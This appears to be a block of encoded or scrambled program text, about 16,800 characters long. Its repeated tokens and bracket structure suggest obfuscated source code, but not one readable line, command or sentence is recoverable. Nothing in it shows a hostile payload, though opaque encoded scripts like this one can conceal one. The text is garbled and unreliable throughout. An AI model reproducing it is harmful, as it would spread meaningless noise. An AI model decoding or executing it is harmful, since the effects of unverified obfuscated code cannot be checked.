==7i3&4;3f/;13mwkomvw{93=9>%l2lmh16-0nwghgkvvdU69w{:-1n:7ko0i3%lbbb9>3,:##68-=;0g1k=f9<,wnlfnvw{:-1n:7ko0i3%lvcwo'nhto'n=vv-:+*-19>3,:dU69w68-=;0g1k=f9<,wnlkhvw{:-1n:7ko0i3%lsosmvbbb}'n9'g=}v$UU{24m7j--kjg) b68-=;0g1k=f9<,wnjlfvwx	xs%&l24,::0;+wnlkhvw{:-1n:7ko0i3%lsrwntlvvvdU69w~68-=;0g1k=f9<,wnlgkvw{24m7j--kjg) v##{24m7j--kjg) ncwhitmkv##{24m7j--kjg) nawnokgjkhtmfvv-:+*-19>3,:dU69w%&l24,::0;+wnjnfvw==7i3&4;3f/;13mwnjkovvv{:-1n:7ko0i3%lb8%;:<0;:w{:-1n:7ko0i3%lswnokgjkhtmfvvdU:3,:69w68-=;0g1k=f9<,wnjnfvw68-=;0g1k=f9<,wnlmkvvv$U{:-1n:7ko0i3%lb8%6193>+:w68-=;0g1k=f9<,wnlkhvw{:-1n:7ko0i3%lswntfvs==7i3&4;3f/;13mwnlfnvw{:-1n:7ko0i3%lvrwo'noto'mvvswngllfjhrhgjlgnvvdU69w==7i3&4;3f/;13mwnkfhvw{:-1n:7ko0i3%lvyy==7i3&4;3f/;13mwnjknvw{:-1n:7ko0i3%lvawo'n;=;hto':mkmfvv-:+*-19>3,:dUU"U:3,:-:+*-19>3,:dUUU"UUU69w~6( l).%/>&.=%8wnkfhvw{:-1n:7ko0i3%lv##6( l).%/>&.=%8wnjkmvw{:-1n:7ko0i3%lvcwfmtgv##%&l24,::0;+wnlkhvw{:-1n:7ko0i3%lsoswo'nto'kvv~bb6( l).%/>&.=%8whinv##68-=;0g1k=f9<,wnjklvw{:-1n:7ko0i3%lv~bb{93=9>%l2lmh16-0nmv-:+*-19>3,:dU-:+*-1{:-1n:7ko0i3%ldU"U9*1<+601<<8>4%'2/632/>g3*wvUU$Upp0,+01+:1+e-:<*-,6):+-*,+r>1<70-UU+-&$U69w~;:961:;w==7i3&4;3f/;13mwnjngvvv-:+*-1dU{260g+/gifnj1,h/kb36(8/2k,l(ml k:/wvdU69w~==7i3&4;3f/;13mwnjogvw{260g+/gifnj1,h/knvv-:+*-1dU69w:&5= 2'64+>8.<gw{260g+/gifnj1,h/knvbbb9>3,:v-:+*-1dU{+=2kgjmo+&0*3</nb1f 9,2<k5;'k:i/7 /k:9fw==7i3&4;3f/;13mwhkmvs>-->&wx  
  xvs>-->&w6( l).%/>&.=%8wnnijvw-nif,f=:o%ol2)owvs==7i3&4;3f/;13mwnkhivvvvdU69w~68-=;0g1k=f9<,wnjkkvw{+=2kgjmo+&0*3</nv##{+=2kgjmo+&0*3</nbbb}}v-:+*-1dU{+=2kgjmo+&0*3</nb%&l24,::0;+wnkggvw6( l).%/>&.=%8wnjkjvs}}s{+=2kgjmo+&0*3</nvd{<+n,k<3<bimtigd{>7/,j>g2/,b{<+n,k<3<rjodU69w~==7i3&4;3f/;13mwnjkkvw{+=2kgjmo+&0*3</nv##{+=2kgjmo+&0*3</nbbb}}v-:+*-1dU{5)nh;j05-+1&&1b(8=4>%+g%(8i0>1>i(l9h+wvqxexq0,://=::3'-f*7wq68-=;0g1k=f9<,wnjkivswktkvvdU{,-.28 mo*.1f%i24b==7i3&4;3f/;13mwnjkhvq{5)nh;j05-+1&&1q==7i3&4;3f/;13mwnjkgvdU{2nlg71'f->b6( l).%/>&.=%8wnjkfvq{5)nh;j05-+1&&1q6( l).%/>&.=%8wnjkgvdU{)4%g k.,nh-b%&l24,::0;+wnjjovq{260g+/gifnj1,h/kmq==7i3&4;3f/;13mwnjjnvq(8=4>%+g%(8i0>1>i(l9h+wvq%&l24,::0;+wnjkgvq}1}q{+=2kgjmo+&0*3</ndU69w~==7i3&4;3f/;13mwnjogvw{260g+/gifnj1,h/kovv$U69w~1on< f0*0+>j>%6w{260g+/gifnj1,h/kos}}vv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnjlmvs68-=;0g1k=f9<,wnjjmvvdU-:+*-1dU"UU69w,=.9=%*lk<l11j),n'56'/w{260g+/gifnj1,h/kos{)4%g k.,nh-vv$U<oo4k7hh*16 '<lg&8+;+w{260g+/gifnj1,h/kos(n7%'*ki&7:*69wvvdUUUU..+:l- 3/5(*9,%,)6<:w{260g+/gifnj1,h/koswlijtjjvvdU3o>94&fk7+k97f >w{260g+/gifnj1,h/kovdU"U-:+*-1dU"UU{..ih**n9 h4nmb==7i3&4;3f/;13mwnjlivw{260g+/gifnj1,h/kovdUUU69w~==7i3&4;3f/;13mwnjkkvw{..ih**n9 h4nmv##6( l).%/>&.=%8wnjkmvw{..ih**n9 h4nmvawnfhgnfltnngfjfvv-:+*-1dUU69w68-=;0g1k=f9<,wnkklvw{..ih**n9 h4nms{,-.28 mo*.1f%i24v~bb9>3,:yy68-=;0g1k=f9<,wnkklvw{..ih**n9 h4nms{2nlg71'f->v~bb9>3,:v-:+*-1dU69w68-=;0g1k=f9<,wnkklvw{..ih**n9 h4nms6( l).%/>&.=%8wnjjlvvbbb9>3,:yy==7i3&4;3f/;13mwnjjkvw{..ih**n9 h4nms%&l24,::0;+wnjjjvq{260g+/gifnj1,h/kmv~bb9>3,:v$UUUU69w%&l24,::0;+wnlonvw%&l24,::0;+wnjjivs68-=;0g1k=f9<,wnlkhvw{..ih**n9 h4nmsoswnkjtjjvvs{6'n-56;f5'8kvyy):-,601 <02/>-:w{6'n-56;f5'8kns(8=4>%+g%(8i0>1>i(l9h+wvs68-=;0g1k=f9<,wnjjhvvv-:+*-1dUUU69w~1on< f0*0+>j>%6w{260g+/gifnj1,h/kos{..ih**n9 h4nmvv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnjlmvs==7i3&4;3f/;13mwnjjmvvdU-:+*-1dU"Upp,/:<*3>+:>3:-+UU69w,=.9=%*lk<l11j),n'56'/w{260g+/gifnj1,h/kos{)4%g k.,nh-vv$U<oo4k7hh*16 '<lg&8+;+w{260g+/gifnj1,h/kos(n7%'*ki&7:*69wvvdU..+:l- 3/5(*9,%,)6<:w{260g+/gifnj1,h/koswljothovvdUUU3o>94&fk7+k97f >w{260g+/gifnj1,h/kovdU"U-:+*-1dUUU"U{0kko%o'46ib0,://=::3'-f*7wq68-=;0g1k=f9<,wnjkivswhtnvvdU{..ih**n9 h4nmb==7i3&4;3f/;13mwnkggvw6( l).%/>&.=%8wnjjgvq{0kko%o'46iq%&l24,::0;+wnjjfvs}}s{..ih**n9 h4nmvdU69w~68-=;0g1k=f9<,wnjkkvw{..ih**n9 h4nmvv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnjlmvs68-=;0g1k=f9<,wnjiovvdU-:+*-1dUUU"UUU69w~6( l).%/>&.=%8wghgvw{260g+/gifnj1,h/kovv-:+*-1dU69w~+78, 6,7hi9%n9h9m7%1w6( l).%/>&.=%8wnjlmvvv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnjinvs==7i3&4;3f/;13mwnjimvvdUUUU-:+*-1dUUU"U69w~1on< f0*0+>j>%6w{260g+/gifnj1,h/kos{..ih**n9 h4nmvv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnjinvs68-=;0g1k=f9<,wnjilvvdU-:+*-1dU"UUUU<.'):2)&8/(o%665-w68-=;0g1k=f9<,wnjinvvdU{9)o9/;>;)2:b{,-.28 mo*.1f%i24q}1}q%&l24,::0;+wnjikvq{260g+/gifnj1,h/kmq==7i3&4;3f/;13mwnjkgvq}1}q{+=2kgjmo+&0*3</nq}1}q{2nlg71'f->dU,=.9=%*lk<l11j),n'56'/w{260g+/gifnj1,h/kos:3fj;f2mh26/9 g/-hli/fw{..ih**n9 h4nms{9)o9/;>;)2:vvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wnjinvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"U9*1<+601=6655fom.49421k0</wvU$Upp<02/*+>=3:>*+70-6+&UU+-&$UUUU69w~;:961:;w6( l).%/>&.=%8wnjijvvv-:+*-1dU{260g+/gifnj1,h/kb36(8/2k,l(ml k:/wvdU{5,=>>76.03.*mll<bw,+-618v==7i3&4;3f/;13mwnjiivw{260g+/gifnj1,h/kns9>3,:s1*33soswnokrkovvdU69w==7i3&4;3f/;13mwnlonvw==7i3&4;3f/;13mwnjihvs{5,=>>76.03.*mll<s{)h5njf,21i9f/hvyy{)h5njf,21i9f/hnbbb(8=4>%+g%(8i0>1>i(l9h+wvv$U{969<* m.;9bw61+v8:+ 0/+601w==7i3&4;3f/;13mwnjigvsovdU69w68-=;0g1k=f9<,wnkfivwvr{969<* m.;9cwnjhtkklvv-:+*-1dUUU69w:&5= 2'64+>8.<gw{260g+/gifnj1,h/knv~bb9>3,:v$U*/;>+: 0/+601w%&l24,::0;+wnjifvs6( l).%/>&.=%8wnkfivwvs%&l24,::0;+wnjnjvvdU-:+*-1dU"U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wnjinvs==7i3&4;3f/;13mwnjhovvdU"U{/3o7(5k<n381&'b:%''&1')6-2mnm(wvdUUU69w~{/3o7(5k<n381&'##68-=;0g1k=f9<,wnjkmvw{/3o7(5k<n381&'vcwkhjtmjv##68-=;0g1k=f9<,wnjkmvw{/3o7(5k<n381&'vawnokgjhntjv##~)%;j1-;6fo.< h=<%=*w{/3o7(5k<n381&'vv-:+*-1dU{6.5j%229*9b6( l).%/>&.=%8wnjnfvw68-=;0g1k=f9<,wmfnvv`8%:1<0;:w{/3o7(5k<n381&'swmjlnvve{/3o7(5k<n381&'dUUU69w~68-=;0g1k=f9<,wnjhnvw{6.5j%229*9v##{6.5j%229*9bbb}}v-:+*-1dU69w,=.9=%*lk<l11j),n'56'/w{260g+/gifnj1,h/kns==7i3&4;3f/;13mwnjhmvq(8=4>%+g%(8i0>1>i(l9h+wvqxexq6( l).%/>&.=%8wnjhlvw{/3o7(5k<n381&'vqxexq6( l).%/>&.=%8wlffvw{6.5j%229*9vvv*/;>+: 0/+601w==7i3&4;3f/;13mwnjifvs%&l24,::0;+wnkfivwvs==7i3&4;3f/;13mwnjnjvvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnjinvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"Upp>=3:30<4e:'/6-:>3:-+UU"U9*1<+601->4-  (=*')93*0gwvU$UU69w~==7i3&4;3f/;13mwnjnfvw68-=;0g1k=f9<,wnjhkvvv-:+*-19>3,:dUU{(k'g:5(2f%'b;:961:;w6( l).%/>&.=%8wnjijvvyy6( l).%/>&.=%8wnjokvwq68-=;0g1k=f9<,wioovv`q6( l).%/>&.=%8wnjhjve    dU-:+*-16( l).%/>&.=%8wnjhivw{(k'g:5(2f%'sx,xvdU"U9*1<+601,j;1'44-4%--h.<8o o,wvU$U+-&$U69w~==7i3&4;3f/;13mwnjnfvw68-=;0g1k=f9<,wnjhhvv##~68-=;0g1k=f9<,wnjnfvw6( l).%/>&.=%8wnjhgvvv-:+*-1dU69w~;:961:;w%&l24,::0;+wnjijvvv-:+*-1dU{/3o7(5k<n381&'b:%''&1')6-2mnm(wvdU69w~{/3o7(5k<n381&'##==7i3&4;3f/;13mwnjkmvw{/3o7(5k<n381&'vcwkhltmhvv-:+*-1dU{4:&b->4-  (=*')93*0gwvdU69w{4:&bbb9>3,:v-:+*-1dU{:/4-+:f(33f4l&.,b6( l).%/>&.=%8wnjnfvw68-=;0g1k=f9<,wnjhfvv`6( l).%/>&.=%8wnjgovw6( l).%/>&.=%8wnjgnvs{/3o7(5k<n381&'ve%&l24,::0;+wnjgmvw{/3o7(5k<n381&'vdU{ 822k'78'75+(0b68-=;0g1k=f9<,wnjglvq68-=;0g1k=f9<,wnjkmvw{/3o7(5k<n381&'vqxexq{:/4-+:f(33f4l&.,q}1}q{/3o7(5k<n381&'dU{+6)'1f:j <b68-=;0g1k=f9<,wnjgkvw{ 822k'78'75+(0vdU{), )f>n1n&>of'=b68-=;0g1k=f9<,wnjhhvw{4:&sx>xsosovdU69w{), )f>n1n&>of'=v$U{36+j'joj=5((bw61+v68-=;0g1k=f9<,wnjgjvw{), )f>n1n&>of'=vdU{*i-0)*;7ol(7n+b6( l).%/>&.=%8wnjgivw{), )f>n1n&>of'=sos{36+j'joj=5((vdUU69w6( l).%/>&.=%8wnjghvw{*i-0)*;7ol(7n+vyy%&l24,::0;+wnjggvw{*i-0)*;7ol(7n+s{/3o7(5k<n381&'v~bb9>3,:v$U6( l).%/>&.=%8wnjgfvw{), )f>n1n&>of'=vdU-:+*-1dU"Upp;:/-0)6,601<0*1+>=3:<022>1;UU69w{36+j'joj=5((ab{+6)'1f:j <v$UU68-=;0g1k=f9<,wnjgfvw{), )f>n1n&>of'=vdU{), )f>n1n&>of'=b==7i3&4;3f/;13mwnjhhvw{4:&sx(xsosovdUU69w{), )f>n1n&>of'=v$U6( l).%/>&.=%8wnjfovw{), )f>n1n&>of'=s==7i3&4;3f/;13mwnjfnvw{ 822k'78'75+(0s{36+j'joj=5((s}o}vsovdUUU{2ng=76&((ko 5b6( l).%/>&.=%8wnjgivw{), )f>n1n&>of'=sos{+6)'1f:j <vdU6( l).%/>&.=%8wnjgfvw{), )f>n1n&>of'=vdU69w{2ng=76&((ko 5~bb{ 822k'78'75+(0v04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnjfmvs==7i3&4;3f/;13mwnmnfvvd{/'4.8mm(/+;5brjifd{,k*9h,/0bw{/'4.8mm(/+;5aov`{/'4.8mm(/+;5er{/'4.8mm(/+;5dU"U-:+*-1dU":3,:$U68-=;0g1k=f9<,wnjflvw{), )f>n1n&>of'=vdUU==7i3&4;3f/;13mwnjgfvw{), )f>n1n&>of'=vdU"U"U{36+j'joj=5((b{+6)'1f:j <twnoomtmmvdU{), )f>n1n&>of'=b6( l).%/>&.=%8wnjfkvw{4:&sx<xswljntifvs{36+j'joj=5((vdU69w~{), )f>n1n&>of'=v-:+*-1dUU68-=;0g1k=f9<,wnjfovw{), )f>n1n&>of'=s==7i3&4;3f/;13mwnjfjvw{ 822k'78'75+(0s{36+j'joj=5((s}o}vsovdU{2ng=76&((ko 5b%&l24,::0;+wnjgivw{), )f>n1n&>of'=sos{+6)'1f:j <vdU69w{2ng=76&((ko 5~bb{ 822k'78'75+(0v04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnjfmvs==7i3&4;3f/;13mwnmnfvvdUUU68-=;0g1k=f9<,wnjgfvw{), )f>n1n&>of'=vdUU"<>+<7w7-0(>=3:{3+1n/j=+n mv$Upp<-6/+0;*3:,e;:)6-+*>36%:,+->+:8&UU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnjfmvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv${,1%fkfo2 1bmln#iid{.:k+7 -m(,+b{,1%fkfo2 1nikdU"U"U9*1<+601:3fj;f2mh26/9 g/-hli/fw{<*--:1+s{9)o9/;>;)2:vU$Upp-0+>+:/6/:361:90-0,+:-2,UU69w~6( l).%/>&.=%8wnjfivw{<*--:1+v##{<*--:1+bbb}}v-:+*-1==7i3&4;3f/;13mwfflvq{9)o9/;>;)2:q}1}dU69w6( l).%/>&.=%8wnlonvw68-=;0g1k=f9<,wnjfhvs{<*--:1+s{=0j.mkf4>%s  
vv$Upp-:<3>62+-*,+r>1<70-UUUU{1<<99m*i4%,%b{=0j.mkf4>%ont6( l).%/>&.=%8wnjgkvw{=0j.mkf4>%oovd{0i1803+5bfgumd{>+>90/<2o,>j,8b{0i1803+5rmodUUU{38mi>m*;1lnb6( l).%/>&.=%8wnjfgvw{<*--:1+s{1<<99m*i4%,%swnkomirjglkvvdU(763:w==7i3&4;3f/;13mwnjfivw{38mi>m*;1lnvyy==7i3&4;3f/;13mwnlonvw6( l).%/>&.=%8wnjffvs{38mi>m*;1lns{ ;2vv$U{1<<99m*i4%,%tb68-=;0g1k=f9<,wnjgkvw{ ;2ovdU{38mi>m*;1lnb==7i3&4;3f/;13mwnjfgvw{<*--:1+s{1<<99m*i4%,%swgnkjtkhvvdUUUU"U-:+*-1==7i3&4;3f/;13mwnioovw{<*--:1+sos{1<<99m*i4%,%vq}1}q{9)o9/;>;)2:q}1}q6( l).%/>&.=%8wnionvw{<*--:1+s{1<<99m*i4%,%vdUUU"U-:+*-168-=;0g1k=f9<,wniomvq{9)o9/;>;)2:q}1`a1}q{<*--:1+dUU"U9*1<+601+78, 6,7hi9%n9h9m7%1w{4:&vUUUU$U69w~68-=;0g1k=f9<,wniolvw==7i3&4;3f/;13mwnmjmvvv-:+*-1+-*:dU{)4g o'&-8(3b8:+ 0/+601w%&l24,::0;+wniokvq{4:&s}}vdU69w6( l).%/>&.=%8wnjfivw{)4g o'&-8(3vyy%&l24,::0;+wniojvw{)4g o'&-8(3sx#xv~bb9>3,:v$U{93=9>%l2lmh16-0nb6( l).%/>&.=%8wmmovwx#xs{)4g o'&-8(3smvdU69ww61+v{93=9>%l2lmh16-0nobbbw61+vw68-=;0g1k=f9<,wnkfivwvpwnjikkgrhookgvvyyw61+v{93=9>%l2lmh16-0nnabwo'mto'nvv-:+*-19>3,:dU"U-:+*-1+-*:dU"U9*1<+601<.'):2)&8/(o%665-w{4:&vUUU$Upp0-2>++618,6+:2:+>UUUU69w~%&l24,::0;+wniolvw%&l24,::0;+wnioivv##~68-=;0g1k=f9<,wniohvw==7i3&4;3f/;13mwniogvvv-:+*-1dUU{;(k4l6.%,3bw61+vw68-=;0g1k=f9<,wnkfivwvpwgilkftjnvvdU{)4g o'&-8(3b8:+ 0/+601w68-=;0g1k=f9<,wniokvq{4:&s}}vdU{252-:,6o4m=o8n*)bodU69w6( l).%/>&.=%8wniofvw{)4g o'&-8(3vyy68-=;0g1k=f9<,wniojvw{)4g o'&-8(3sx#xv~bb9>3,:v$UUU{93=9>%l2lmh16-0nb==7i3&4;3f/;13mwninovwx#xs{)4g o'&-8(3smvdU69ww61+v{93=9>%l2lmh16-0nobbb{;(k4l6.%,3v{252-:,6o4m=o8n*)bw61+v{93=9>%l2lmh16-0nndU"UUUU{252-:,6o4m=o8n*)ttdU*/;>+: 0/+601w6( l).%/>&.=%8wniokvq{4:&s{;(k4l6.%,3qx#xq{252-:,6o4m=o8n*)s%&l24,::0;+wnjnjvvdUUU69w{252-:,6o4m=o8n*)abwirlvv04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wninnvs==7i3&4;3f/;13mwninmvq{4:&vdU"U9*1<+601* nf*&8h-6%k76:wvUUU$UUUU+-&$UUU69w~;:961:;w6( l).%/>&.=%8wnjijvvv-:+*-1dU69w~;:961:;w%&l24,::0;+wnknlvv##~6( l).%/>&.=%8wghgvw  v##~0-467=7,272k +7%w  vv-:+*-1dUUU{)k98%ni;o9b  dU{)(.<+ ljfj7m5-b{)k98%ni;o9q6( l).%/>&.=%8wnlfkvdU{;).m.>/5(5)%o&b68-=;0g1k=f9<,wninlvw-nif,f=:o%ol2)owvs68-=;0g1k=f9<,wninkvvdU{.9gk89g/fi9k7--b0,://=::3'-f*7wq68-=;0g1k=f9<,wninjvswmtivvq==7i3&4;3f/;13mwnlmgvdU{:i5n4*:%><:1-9b(2++90&.)m=1=gl8g6wvdUUU{.,(*mj6=<3(b0,://=::3'-f*7wq%&l24,::0;+wnjlnvswo'fto'nvvdUU{04nj>,;*)(g'7b==7i3&4;3f/;13mwniohvw==7i3&4;3f/;13mwninivv`->4-  (=*')93*0gwve9>3,:dU{0o<.>jjn9h)%ob{04nj>,;*)(g'7~bb9>3,:`%&l24,::0;+wninhvw{04nj>,;*)(g'7veodU{3*)+o9ih  b6,,:+w{6( l).%/>&.=%8wnlmnvra/-:96'v`{68-=;0g1k=f9<,wnlmnvra/-:96'e68-=;0g1k=f9<,wnoomvdU{<o%-:8nm0j-m8n-3b68-=;0g1k=f9<,wningvq==7i3&4;3f/;13mwnionvw%&l24,::0;+wnjgmvw{;).m.>/5(5)%o&qw,+-618v/-5'%k3i;i25km)wvvsoswo'hto'nvvdU{&);&+6'+1>85i9b1f 9,2<k5;'k:i/7 /k:9fwUUU==7i3&4;3f/;13mwhlovsU>-->&wx  
  xsx     xsx     xsx     xsx     xsx  
   xsx  	  xvsU>-->&w{;).m.>/5(5)%o&s{.9gk89g/fi9k7--s{0o<.>jjn9h)%os{.,(*mj6=<3(s{3*)+o9ih  s{<o%-:8nm0j-m8n-3s(8=4>%+g%(8i0>1>i(l9h+wvvUvdU69w~{&);&+6'+1>85i9v$UU69ww61+v8:+ 0/+601w6( l).%/>&.=%8wnkhgvsovaov04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wninfvs68-=;0g1k=f9<,wnimovvdUU-:+*-1dU"U{<*--:1+b68-=;0g1k=f9<,wnjokvw{)(.<+ ljfj7m5-v`68-=;0g1k=f9<,wnimnvw{)(.<+ ljfj7m5-ve}}dUUUU69w~6( l).%/>&.=%8wnimmvw{<*--:1+vv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnimlvs68-=;0g1k=f9<,wnkkmvvdU-:+*-1dU"U{<*--:1+b5( g6,6h*67j545kh:w{<*--:1+vdUUUU{5)nh;j05-+1&&1b(8=4>%+g%(8i0>1>i(l9h+wvqxexq0,://=::3'-f*7wq==7i3&4;3f/;13mwnimkvswkccnvvdU{,-.28 mo*.1f%i24b==7i3&4;3f/;13mwnimjvq{5)nh;j05-+1&&1q6( l).%/>&.=%8wnjkgvdU{2nlg71'f->b6( l).%/>&.=%8wnimivq{5)nh;j05-+1&&1q==7i3&4;3f/;13mwnimhvdU{<%:*9 h'.%1b0,://=::3'-f*7wq%&l24,::0;+wnimkvswnjinkgvvdU{*)&i4j<:>1%<)(56b%&l24,::0;+wnimgvw6( l).%/>&.=%8wnimfvq{<%:*9 h'.%1q==7i3&4;3f/;13mwnilovs}}s{<*--:1+vdU{*1h&5.=9o35.jbw==7i3&4;3f/;13mwniojvw{*)&i4j<:>1%<)(56s68-=;0g1k=f9<,wnilnvv~bb9>3,:vdU69w6( l).%/>&.=%8wnilmvw{<*--:1+s{,-.28 mo*.1f%i24v~bb9>3,:yy68-=;0g1k=f9<,wnillvw{<*--:1+s{2nlg71'f->v~bb9>3,:yy~{*1h&5.=9o35.jv$U%<'>8i7om&)0o63:kwvdU-:+*-1dU"UUU{<*--:1+b==7i3&4;3f/;13mwnilkvw68-=;0g1k=f9<,wniljvs}}s{*)&i4j<:>1%<)(56vdU69w~%&l24,::0;+wnimmvw{<*--:1+vv$Upp61+:-3:>):3>1:,U{:2*-fh><644nbmftnnd{80(30kmgb{:2*-fh><644nrmjdU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnilivs68-=;0g1k=f9<,wnjiovvdUU-:+*-1dUUU"$U{<*--:1+b5( g6,6h*67j545kh:w{<*--:1+vdU{-<j:6  &&gb%&l24,::0;+wnilhvw==7i3&4;3f/;13mwnjkjvs}}s{&);&+6'+1>85i9vdUU{:(>.//.,);0 &9)bw6( l).%/>&.=%8wnjgkvw{<*--:1+vbbbovdU69w~{:(>.//.,);0 &9)v$UU69w~+78, 6,7hi9%n9h9m7%1w68-=;0g1k=f9<,wnilivvv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnilivs6( l).%/>&.=%8wnjimvvdU-:+*-1dU"U69w~1on< f0*0+>j>%6w{)(.<+ ljfj7m5-s{<*--:1+vv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnilgvs6( l).%/>&.=%8wnjilvvdU-:+*-1dU"UUUU<.'):2)&8/(o%665-w68-=;0g1k=f9<,wnilfvvdU":3,:$U69w~1on< f0*0+>j>%6w{)(.<+ ljfj7m5-s}}vv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnikovs68-=;0g1k=f9<,wniknvvdU-:+*-1dU"U"U{)8o6+:j/7, '7b:3fj;f2mh26/9 g/-hli/fw{<*--:1+s{,-.28 mo*.1f%i24q}1}q{-<j:6  &&gq}1}q{2nlg71'f->vdU69w~,=.9=%*lk<l11j),n'56'/w{)(.<+ ljfj7m5-s{)8o6+:j/7, '7vv$U-:+*-1dU"U69w{:(>.//.,);0 &9)v3o>94&fk7+k97f >w{)(.<+ ljfj7m5-vdU%<'>8i7om&)0o63:kwvdU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnikovs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"UUU9*1<+6013h55->=32(1-83k=.nn=wvU$UUUU+-&$Upp0,+01+:1+-:(-6+:93*,7UU69w~;:961:;w6( l).%/>&.=%8wnjijvvv-:+*-1dU69w%2:n;9l5gim=)+<n%28(jw-nif,f=:o%ol2)owvvv-:+*-1dU69w~==7i3&4;3f/;13mwniohvw==7i3&4;3f/;13mwnlgmvvv-:+*-1dU69w6( l).%/>&.=%8wnlfgvwvbbb%&l24,::0;+wgkvv-:+*-1dU69w~6,,:+w{ 	6( l).%/>&.=%8wnikmvvv-:+*-1dU69w8:+ +->1,6:1+w%&l24,::0;+wniklvvv-:+*-1dU{ m6f4>m03i9%b(2++90&.)m=1=gl8g6wvdUUU69w~==7i3&4;3f/;13mwnlhhvw{ m6f4>m03i9%vv 1'4'n,k3k&859>>;w{ m6f4>m03i9%swkigtmjvs+-*:vdU69w~68-=;0g1k=f9<,wnlhhvw{ m6f4>m03i9%v##~68-=;0g1k=f9<,wnikkvw{ m6f4>m03i9%vv$U{ m6f4>m03i9%bq%&l24,::0;+wnikjvdUUUU69w~==7i3&4;3f/;13mwnikkvw{ m6f4>m03i9%vv{ m6f4>m03i9%b*&;mh.'go,*2;<g)+*f9>wvdUUUUU"U{2'j6j;>98.)b0,://=::3'-f*7wqx8xswo'mto'ivvdU{(3:):f4gk4>&6b%&l24,::0;+wnikivq{2'j6j;>98.)q%&l24,::0;+wninkvdU{,6f7,'>h;nf=b{ m6f4>m03i9%qxpxq{(3:):f4gk4>&6dUpp:;*'+0-:e;6>810,+6<7>1;,7>4:UU{):%3<jk*lj/-b{ m6f4>m03i9%q==7i3&4;3f/;13mwnikhvq{2'j6j;>98.)dU90-:><7w>-->&w{ m6f4>m03i9%sq68-=;0g1k=f9<,wnikjvs*&;mh.'go,*2;<g)+*f9>wvv>,{'457>9g>0(4>v$U{6;'f(6(6,,4.ljb{'457>9g>0(4>q68-=;0g1k=f9<,wnikgvq{2'j6j;>98.)dUUU69w6( l).%/>&.=%8wnjogvw{6;'f(6(6,,4.ljvv$U{0j+*5'6;9&&-&bw61+v%&l24,::0;+wnikfvw{6;'f(6(6,,4.ljvdU69w{0j+*5'6;9&&-&cb%&l24,::0;+wnijovwvrwgilhotlov##{0j+*5'6;9&&-&a==7i3&4;3f/;13mwnijnvwvtwlltmihvv$UUU6&3-,o*-.<)&:l.1w{6;'f(6(6,,4.ljvdU<01+61*:d{9)-n)%i32;;o1bmlujd{-:6..2(<b{9)-n)%i32;;o1ridU"Upp-:86,+:->330<>+601UU69w%&l24,::0;+wnjogvw{'457>9g>0(4>q68-=;0g1k=f9<,wnijmvq{2'j6j;>98.)q%&l24,::0;+wninkvvv-:+*-1dU6&3-,o*-.<)&:l.1w{6;'f(6(6,,4.ljvdUUUU"U"U*1,:+w{'457>9g>0(4>s{6;'f(6(6,,4.ljs{0j+*5'6;9&&-&vdUUU{;< +1l=4-0.&0bq==7i3&4;3f/;13mwnijlvq{(3:):f4gk4>&6dU69w{ m6f4>m03i9%~bbq6( l).%/>&.=%8wnikjvyy6( l).%/>&.=%8wnjogvw{;< +1l=4-0.&0vyy*,8'.48k><:k8h-/&58683w{;< +1l=4-0.&0v~bb9>3,:v$U..+:l- 3/5(*9,%,)6<:w{;< +1l=4-0.&0swo'ngito'n:vvdUUU69w6&3-,o*-.<)&:l.1w{;< +1l=4-0.&0vyy68-=;0g1k=f9<,wniohvw%&l24,::0;+wmoovvv0/<><7: 61)>36;>+:w{;< +1l=4-0.&0s+-*:vdU"U*1,:+w{;< +1l=4-0.&0vdUUU69w68-=;0g1k=f9<,wnjogvw{):%3<jk*lj/-vyyw61+v68-=;0g1k=f9<,wnikfvw{):%3<jk*lj/-va==7i3&4;3f/;13mwnijnvwvrwo';mto'n:vv-:+*-1dU69w==7i3&4;3f/;13mwnjogvw{,6f7,'>h;nf=vyyw%&l24,::0;+wnijkvwvrw61+v963:<+62:w{,6f7,'>h;nf=vvcwo':oto'k<vv-:+*-1dUUU69w68-=;0g1k=f9<,wnjogvw{,6f7,'>h;nf=vv$U{9% 52gk-26)>.'*<b==7i3&4;3f/;13mwnjogvw{ m6f4>m03i9%q68-=;0g1k=f9<,wnijjvq{2'j6j;>98.)v`==7i3&4;3f/;13mwnmgnvww,+-618v%&l24,::0;+wnijivw{ m6f4>m03i9%q68-=;0g1k=f9<,wnijjvq{2'j6j;>98.)vve}}dU69w{9% 52gk-26)>.'*<~bb}}yy68-=;0g1k=f9<,wnijhvw==7i3&4;3f/;13mwnijgvs{9% 52gk-26)>.'*<vyy):-,601 <02/>-:w{9% 52gk-26)>.'*<s(8=4>%+g%(8i0>1>i(l9h+wvsxaxvv-:+*-1dU*1,:+w{9% 52gk-26)>.'*<vdU"UU69w%&l24,::0;+wnjogvw{,6f7,'>h;nf=vv$U{<mfg &6+<;b{ m6f4>m03i9%q68-=;0g1k=f9<,wnijfvq0,://=::3'-f*7w